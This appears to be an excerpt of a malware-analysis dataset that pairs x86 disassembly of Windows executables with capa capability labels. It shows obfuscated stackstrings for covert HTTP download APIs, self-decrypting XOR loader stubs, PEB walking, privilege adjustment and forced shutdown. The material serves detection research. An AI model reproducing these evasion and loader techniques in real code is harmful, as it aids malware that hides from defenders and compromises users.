joyce8/EMBER2024-capa huggingface dataset:
Function at 0x418ca0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
push edi
push 0xff
lea eax, [ebp - 0x11f]
push 0
push eax
mov byte [ebp - 0x120], 0
call fcn.0041be60
mov ecx, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov al, 0x6f
mov byte [ebp - 0xc], al
mov eax, dword [ecx + 0x7d8]
add eax, 0x2000
add esp, 0xc
cmp dword [edi + 0x958], 0
mov dword [ebp - 4], 0x544547
mov dword [ebp - 0x18], 0x646e6957
mov dword [ebp - 0x14], 0x2073776f
mov dword [ebp - 0x10], 0x6c707845
mov dword [ebp - 0xb], 0x726572
mov dword [ebp + 8], eax
jne 0x418d28
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x18]
push edx
push edi
call fcn.0041a980
add esp, 0x18
mov dword [edi + 0x958], eax
mov esi, dword [edi + 0x958]
test esi, esi
je 0x418e87
mov eax, dword [ebp + 0x10]
add eax, 4
push eax
lea ecx, [ebp - 0x120]
push ecx
call fcn.00418c20
mov edx, dword [ebp + 0x18]
push 1
push 0
push 3
push 0
push 0
push 0x50
push edx
push esi
push edi
call fcn.0041a9f0
mov esi, eax
add esp, 0x2c
mov dword [ebp - 0x20], esi
test esi, esi
je 0x418e87
push ebx
push 1
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 4]
push ecx
push esi
push edi
call fcn.0041aa70
mov ebx, eax
add esp, 0x24
test ebx, ebx
jne 0x418da7
push esi
push edi
call fcn.0041abd0
add esp, 8
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 0
push ebx
push edi
call fcn.0041aaf0
add esp, 0x18
test eax, eax
jle 0x418e75
mov eax, dword [ebp + 0x1c]
mov esi, dword [ebp + 8]
test eax, eax
je 0x418e8d
lea ecx, [esi + 0x5440]
mov dword [ebp + 0xc], ecx
mov ecx, dword [ebp + 8]
mov dword [esi + 0x50], 1
add esi, 0x24
add ecx, 0x10
mov dword [ebp - 0x1c], ecx
mov dword [esi], 0
test eax, eax
je 0x418e1d
mov edx, dword [ebp + 0xc]
push 0x200
push edx
call fcn.0041be10
mov eax, dword [ebp + 8]
lea ecx, [eax + 0x4f1c50]
push 0x14
push ecx
add eax, 0x4c20
push eax
call fcn.0041bde0
add esp, 0x14
mov eax, dword [esi]
lea edx, [ebp + 8]
push edx
mov ecx, 0x1f4000
sub ecx, eax
add eax, dword [ebp + 0xc]
push ecx
push eax
push ebx
push edi
call fcn.0041ab60
add esp, 0x14
test eax, eax
je 0x418e69
lea ecx, [ecx]
mov eax, dword [ebp + 8]
test eax, eax
je 0x418e69
add dword [esi], eax
mov eax, dword [esi]
lea ecx, [ebp + 8]
push ecx
mov edx, 0x1f4000
sub edx, eax
add eax, dword [ebp + 0xc]
push edx
push eax
push ebx
push edi
call fcn.0041ab60
add esp, 0x14
test eax, eax
jne 0x418e40
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
mov dword [edx], 1
push ebx
push edi
call fcn.0041abd0
push esi
push edi
call fcn.0041abd0
add esp, 0x10
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea edx, [esi + 0x6ed040]
mov dword [ebp + 0xc], edx
mov edx, dword [ebp + 8]
add esi, 0x68
add edx, 0x6c
mov dword [ebp - 0x1c], edx
jmp 0x418deb
Function at 0x418eb0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
xor eax, eax
push esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov byte [ebp - 8], al
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
push edi
mov al, 0x6f
mov byte [ebp - 0x20], al
xor eax, eax
push 0x7f
push eax
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov word [ebp - 0xf], ax
mov byte [ebp - 0xd], al
mov byte [ebp - 0xc0], al
lea eax, [ebp - 0xbf]
push eax
mov dword [ebp - 0x38], 0x2a2f2a
mov dword [ebp - 0xc], 0x54534f50
mov dword [ebp - 0x2c], 0x646e6957
mov dword [ebp - 0x28], 0x2073776f
mov dword [ebp - 0x24], 0x6c707845
mov dword [ebp - 0x1f], 0x726572
call fcn.0041be60
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edi, dword [ecx + 0x7d8]
add esp, 0xc
cmp dword [esi + 0x958], 0
jne 0x418f61
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x2c]
push edx
push esi
call fcn.0041a980
add esp, 0x18
mov dword [esi + 0x958], eax
test eax, eax
je 0x419070
mov eax, dword [ebp + 0x10]
cmp byte [eax], 0
je 0x418f89
lea esp, [esp]
cmp dword [eax], 0xa0d0a0d
je 0x418f80
inc eax
cmp byte [eax], 0
jne 0x418f70
jmp 0x418f89
mov dword [eax], 0
add eax, 4
push ebx
mov dword [ebp + 8], eax
push 0x2f
lea eax, [edi + 0x4f3cb0]
push eax
lea ecx, [ebp - 0xc0]
push ecx
call fcn.0041bde0
mov eax, dword [ebp + 0x18]
mov ecx, dword [esi + 0x958]
push 1
push 0
push 3
push 0
push 0
push 0x50
push eax
push ecx
lea edx, [ebp - 0x38]
push esi
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], 0
call fcn.0041a9f0
mov ebx, eax
add esp, 0x30
test ebx, ebx
je 0x41906f
push 1
push 0
lea edx, [ebp - 0x40]
push edx
push 0
push 0
lea eax, [edi + 0x4f3c70]
push eax
lea ecx, [ebp - 0xc]
push ecx
push ebx
push esi
call fcn.0041aa70
add esp, 0x24
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x419012
push ebx
push esi
call fcn.0041abd0
add esp, 8
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 8]
push edx
call fcn.0041c0b0
add esp, 4
push eax
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0xc0]
push ecx
call fcn.0041c0b0
add esp, 4
push eax
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc0]
push edx
push eax
push esi
call fcn.0041aaf0
add esp, 0x18
test eax, eax
jle 0x41905b
cmp dword [ebp + 0x1c], 0
je 0x41905b
mov dword [edi + 0x2050], 1
mov ecx, dword [ebp + 0xc]
push ecx
push esi
call fcn.0041abd0
push ebx
push esi
call fcn.0041abd0
add esp, 0x10
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41a980
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x10]
push ecx
push edx
lea esi, [eax + 0x95c]
push esi
push eax
mov dword [ebp - 0x10], 0x65746e49
mov dword [ebp - 0xc], 0x74656e72
mov dword [ebp - 8], 0x6e65704f
mov word [ebp - 4], 0x41
call fcn.0041b010
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x41a9de
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp + 0xc]
push edx
push eax
push ecx
call esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41a9f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x14]
push ecx
push edx
lea esi, [eax + 0x960]
push esi
push eax
mov dword [ebp - 0x14], 0x65746e49
mov dword [ebp - 0x10], 0x74656e72
mov dword [ebp - 0xc], 0x6e6e6f43
mov dword [ebp - 8], 0x41746365
mov byte [ebp - 4], 0
call fcn.0041b010
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x41aa5f
mov eax, dword [ebp + 0x28]
mov ecx, dword [ebp + 0x24]
mov edx, dword [ebp + 0x20]
push eax
mov eax, dword [ebp + 0x1c]
push ecx
mov ecx, dword [ebp + 0x18]
push edx
mov edx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp + 0xc]
push edx
push eax
push ecx
call esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41aa70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x14]
push ecx
push edx
lea esi, [eax + 0x964]
push esi
push eax
mov dword [ebp - 0x14], 0x70747448
mov dword [ebp - 0x10], 0x6e65704f
mov dword [ebp - 0xc], 0x75716552
mov dword [ebp - 8], 0x41747365
mov byte [ebp - 4], 0
call fcn.0041b010
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x41aadf
mov eax, dword [ebp + 0x28]
mov ecx, dword [ebp + 0x24]
mov edx, dword [ebp + 0x20]
push eax
mov eax, dword [ebp + 0x1c]
push ecx
mov ecx, dword [ebp + 0x18]
push edx
mov edx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp + 0xc]
push edx
push eax
push ecx
call esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41aaf0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x14]
push ecx
push edx
lea esi, [eax + 0x968]
push esi
push eax
mov dword [ebp - 0x14], 0x70747448
mov dword [ebp - 0x10], 0x646e6553
mov dword [ebp - 0xc], 0x75716552
mov dword [ebp - 8], 0x41747365
mov byte [ebp - 4], 0
call fcn.0041b010
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x41ab53
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp + 0xc]
push edx
push eax
push ecx
call esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41ab60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x14]
push ecx
push edx
lea esi, [eax + 0x96c]
push esi
push eax
mov dword [ebp - 0x14], 0x65746e49
mov dword [ebp - 0x10], 0x74656e72
mov dword [ebp - 0xc], 0x64616552
mov dword [ebp - 8], 0x656c6946
mov byte [ebp - 4], 0
call fcn.0041b010
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x41abbf
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0xc]
push ecx
push edx
push eax
call esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41abd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x14]
push ecx
push edx
lea esi, [eax + 0x970]
push esi
push eax
mov dword [ebp - 0x14], 0x65746e49
mov dword [ebp - 0x10], 0x74656e72
mov dword [ebp - 0xc], 0x736f6c43
mov dword [ebp - 8], 0x6e614865
mov dword [ebp - 4], 0x656c64
call fcn.0041b010
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x41ac26
mov eax, dword [ebp + 0xc]
push eax
call esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41b410
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov edi, dword [ebp + 8]
mov esi, dword [ebp - 4]
test edi, edi
je 0x41b476
cmp dword [esi + 0x18], 0
je 0x41b491
lea ecx, [ecx]
mov edx, dword [esi + 0x30]
push edi
push edx
call fcn.0041cd20
add esp, 8
test eax, eax
jne 0x41b46e
mov esi, dword [esi]
cmp dword [esi + 0x18], eax
jne 0x41b450
pop edi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x41b491
mov eax, dword [esi + 0x18]
test eax, eax
je 0x41b491
cmp eax, ecx
je 0x41b46e
mov esi, dword [esi]
mov eax, dword [esi + 0x18]
test eax, eax
jne 0x41b484
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41ca00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
push esi
mov esi, dword [ebp + 0xc]
xor eax, eax
cmp esi, 0x5d
jae 0x41cc3c
push ebx
push edi
push 0x773
push eax
mov byte [ebp - 0x1c], al
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
lea eax, [ebp - 0x793]
mov cl, 0xe7
push eax
mov dword [ebp - 0x20], 0x6c6c642e
mov dword [ebp - 0x820], 0xbee14005
mov dword [ebp - 0x81c], 0xc8066c2a
mov dword [ebp - 0x818], 0xccdfc1a9
mov dword [ebp - 0x814], 0xe245063a
mov dword [ebp - 0x810], 0x3ad226d0
mov dword [ebp - 0x80c], 0x8450707
mov dword [ebp - 0x808], 0xe0c8cb23
mov dword [ebp - 0x804], 0x4337a708
mov dword [ebp - 0x800], 0x57e44962
mov dword [ebp - 0x7fc], 0xa6aa08e7
mov dword [ebp - 0x7f8], 0x6525dcb0
mov dword [ebp - 0x7f4], 0x7b08e760
mov dword [ebp - 0x7f0], 0x1eb386be
mov dword [ebp - 0x7ec], 0x8e7a01f
mov dword [ebp - 0x7e8], 0xefa2d823
mov dword [ebp - 0x7e4], 0xe7a01f26
mov dword [ebp - 0x7e0], 0xa8fc2209
mov dword [ebp - 0x7dc], 0x4f1cc7ee
mov dword [ebp - 0x7d8], 0xef094116
mov dword [ebp - 0x7d4], 0x8ca89392
mov dword [ebp - 0x7d0], 0x4157a323
mov dword [ebp - 0x7cc], 0x9f8f1d09
mov dword [ebp - 0x7c8], 0xa3269dc3
mov dword [ebp - 0x7c4], 0x74094157
mov dword [ebp - 0x7c0], 0x507d60c3
mov dword [ebp - 0x7bc], 0x41107c91
mov dword [ebp - 0x7b8], 0x6357590b
mov dword [ebp - 0x7b4], 0x1deab58a
mov dword [ebp - 0x7b0], 0xf708ac79
mov dword [ebp - 0x7ac], 0x73ade308
mov dword [ebp - 0x7a8], 0xa1651ec6
mov dword [ebp - 0x7a4], 0xca3d06e7
mov dword [ebp - 0x7a0], 0x3ad226c4
mov dword [ebp - 0x79c], 0xb2fc3308
mov dword [ebp - 0x798], 0x615506cf
mov byte [ebp - 0x794], cl
call fcn.0041be60
add esp, 0xc
lea eax, [ebp - 0x820]
test esi, esi
je 0x41cbcc
dec esi
movzx ecx, byte [eax]
lea eax, [eax + ecx + 1]
jne 0x41cbc2
lea esi, [eax + 1]
movzx eax, byte [eax]
lea edx, [ebp - 0x20]
push edx
push eax
push esi
call fcn.0040abf0
xor eax, eax
add esp, 0xc
cmp byte [esi], al
je 0x41cbed
inc eax
cmp byte [esi + eax], 0
jne 0x41cbe6
mov ebx, dword [ebp + 8]
inc eax
push eax
push esi
push ebx
call fcn.0041bde0
add esp, 0xc
xor edi, edi
cmp byte [ebx], 0
je 0x41cc0a
inc edi
cmp byte [edi + ebx], 0
jne 0x41cc03
xor esi, esi
cmp byte [ebp - 0x20], 0
je 0x41cc1a
inc esi
cmp byte [ebp + esi - 0x20], 0
jne 0x41cc12
test esi, esi
je 0x41cc2f
push esi
lea ecx, [ebp - 0x20]
lea eax, [edi + ebx]
push ecx
push eax
call fcn.0041be30
add esp, 0xc
add esi, edi
pop edi
mov byte [esi + ebx], 0
mov eax, 1
pop ebx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10008ee0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x24
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.ADVAPI32.dll
mov byte [esp + 0x18], 1
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenProcessToken
push edi
call esi
push str.AdjustTokenPrivileges
push edi
mov ebx, eax
call esi
push str.LookupPrivilegeValueA
push edi
mov dword [esp + 0x24], eax
call esi
push str.kernel32.dll
mov dword [esp + 0x1c], eax
call ebp
push str.GetCurrentProcess
push eax
mov dword [esp + 0x28], eax
call esi
lea ecx, [esp + 0x10]
push ecx
push 0x28
call eax
push eax
call ebx
test eax, eax
jne 0x10008f4e
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
neg edx
lea eax, [esp + 0x28]
mov dword [esp + 0x24], 1
sbb edx, edx
push eax
and edx, 2
push ecx
push 0
mov dword [esp + 0x3c], edx
call dword [esp + 0x24]
mov eax, dword [esp + 0x10]
push 0
push 0
lea edx, [esp + 0x2c]
push 0x10
push edx
push 0
push eax
call dword [esp + 0x34]
push str.KERNEL32.dll
call ebp
push str.GetLastError
push eax
call esi
call eax
test eax, eax
je 0x10008fa5
mov byte [esp + 0x14], 0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x10008fbd
push edi
call esi
mov eax, dword [esp + 0x20]
test eax, eax
je 0x10008fc8
push eax
call esi
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
and eax, 0xff
pop ebx
add esp, 0x24
ret

Function at 0x402aa0
Capabilities:
Accept command line arguments

Disassembly:
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call fcn.004029e0
add esp, 4
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
ret 0x10

Function at 0x402d76
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x406018]
jne 0x402d80
repz ret
jmp fcn.004031ad

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x436650
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x43665f
pop dword [ebp - 0x10]
mov eax, 0x7306d69d
sub eax, 0x72c3703e
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x4ec70
push 0
mov eax, 0x1af63930
sub eax, 0x1ab276d8
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0xde914e9e
sub ecx, 0xde91012c
mov esi, eax
mov edx, 0xb204aab0
sub edx, 0xb1bdf8b0
add edx, dword [ebp - 0x10]
mov ebx, 0xa730f1bf
sub ebx, 0xf69b581a
xor dword [ebp - 4], 0xb920789b
mov edi, dword [edx]
mov dword [ebp - 4], 0x73b6af5b
xor edi, ebx
xor dword [ebp - 8], 0xd0719434
mov dword [esi], edi
xor dword [ebp - 0xc], 0x2611f358
add esi, 4
add edx, 4
loop 0x4366be
add eax, 0x1289b
mov ebx, eax
add eax, 0x5d705e52
sub eax, 0x5d705e4d
mov ecx, 0xe7146a01
add ecx, 0x192b95ff
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x419966
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x419975
pop dword [ebp - 8]
mov eax, 0x419975
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xce9fbd11
add dword [ebp - 0x18], 0x7fb2883a
mov dword [ebp - 0x14], 0x521aea6e
add dword [ebp - 0x14], 0xe01861d7
mov dword [ebp - 0x10], 0x9e9a7049
sub dword [ebp - 0x10], 0x524e2c1b
mov dword [ebp - 0xc], 0x6bd8e67d
sub dword [ebp - 0xc], 0x6bd8e67d
lea eax, [ebp - 0x18]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xbce19c77
add dword [ebp - 0x18], 0xb790ccdf
mov dword [ebp - 0x14], 0xedc39e50
sub dword [ebp - 0x14], 0xac573cdb
mov dword [ebp - 0x10], 0xc18d206f
sub dword [ebp - 0x10], 0x5e1db403
mov dword [ebp - 0xc], 0xf4e80bc2
add dword [ebp - 0xc], 0xb17f43e
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0xc178d948
sub eax, 0xc138c86c
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x40a0f
push 0
call eax
mov ecx, 0xce47108c
sub ecx, 0xce46c28a
xor edx, edx
add edx, eax
mov ebx, 0x5e86f81d
add ebx, 0xa1c04de3
add ebx, dword [ebp - 8]
mov esi, 0xfba333a4
add esi, 0xda72e524
mov dword [ebp - 4], 0x601925e0
mov edi, dword [ebx]
xor dword [ebp - 4], 0x32b8ed75
add edi, esi
xor dword [ebp - 4], eax
mov dword [edx], edi
xor dword [ebp - 4], 0xee003312
add edx, 0x2ed3108
sub edx, 0x2ed3104
add ebx, 0x34537f9f
sub ebx, 0x34537f9b
loop 0x419a8f
add eax, 0x62197c53
sub eax, 0x62185178
mov ebx, eax
add eax, 0x40ab64cd
add eax, 0xbf549b38
mov ecx, 0x400000
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x466d0c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov dl, 0xb5
mov ebx, eax
xor eax, eax
mov ecx, eax
mov esi, ebx
shr esi, cl
mov ecx, esi
and cl, 0xff
xor dl, cl
inc eax
cmp eax, 4
jne 0x466d14
mov eax, edx
pop esi
pop ebx
ret

Function at 0x491930
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 0xf]
mov byte [ebp - 5], al
xor eax, eax
push ebp
push 0x49197e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0xf], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
push eax
call sub.kernel32.dll_SuspendThread
test eax, eax
setge dl
mov eax, dword [ebp - 4]
call fcn.004913f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491997
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x4a0d04
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x4a0d0c
push ecx
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x4a0df9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
call fcn.00422c64
mov edx, dword [ebp - 8]
mov ecx, 0x4a0e14
xor eax, eax
call fcn.004a0be8
push 0
mov eax, dword [ebp - 4]
call fcn.004084c8
push eax
call sub.kernel32.dll_CreateDirectoryW
test eax, eax
jne 0x4a0dc7
call sub.kernel32.dll_GetLastError
mov ebx, eax
cmp ebx, 0xb7
je 0x4a0d26
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x1c]
mov edx, dword [ebp - 4]
mov al, 0x39
call fcn.00426dfc
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x20]
call fcn.00419f38
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x24]
mov eax, ebx
call fcn.004231e0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x18]
mov ecx, 2
mov al, 0x6e
call fcn.00426dcc
mov ecx, dword [ebp - 0xc]
mov dl, 1
mov eax, dword [0x414ecc]
call fcn.0041f384
call fcn.004070f0
jmp 0x4a0d26
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00407dd4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a0e00
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.00407a54
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00407a54
ret

Function at 0x4a0e28
Capabilities:
Shutdown system

Disassembly:
add esp, 0xffffffec
call fcn.0042004c
cmp eax, 2
jne 0x4a0e90
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
jne 0x4a0e4b
xor eax, eax
jmp 0x4a0e9f
lea eax, [esp + 8]
push eax
push 0x4a0ea4
push 0
call sub.advapi32.dll_LookupPrivilegeValueW
mov dword [esp + 4], 1
mov dword [esp + 0x10], 2
push 0
push 0
push 0
lea eax, [esp + 0x10]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError
test eax, eax
je 0x4a0e90
xor eax, eax
jmp 0x4a0e9f
push 0
push 2
call sub.user32.dll_ExitWindowsEx
cmp eax, 1
sbb eax, eax
inc eax
add esp, 0x14
ret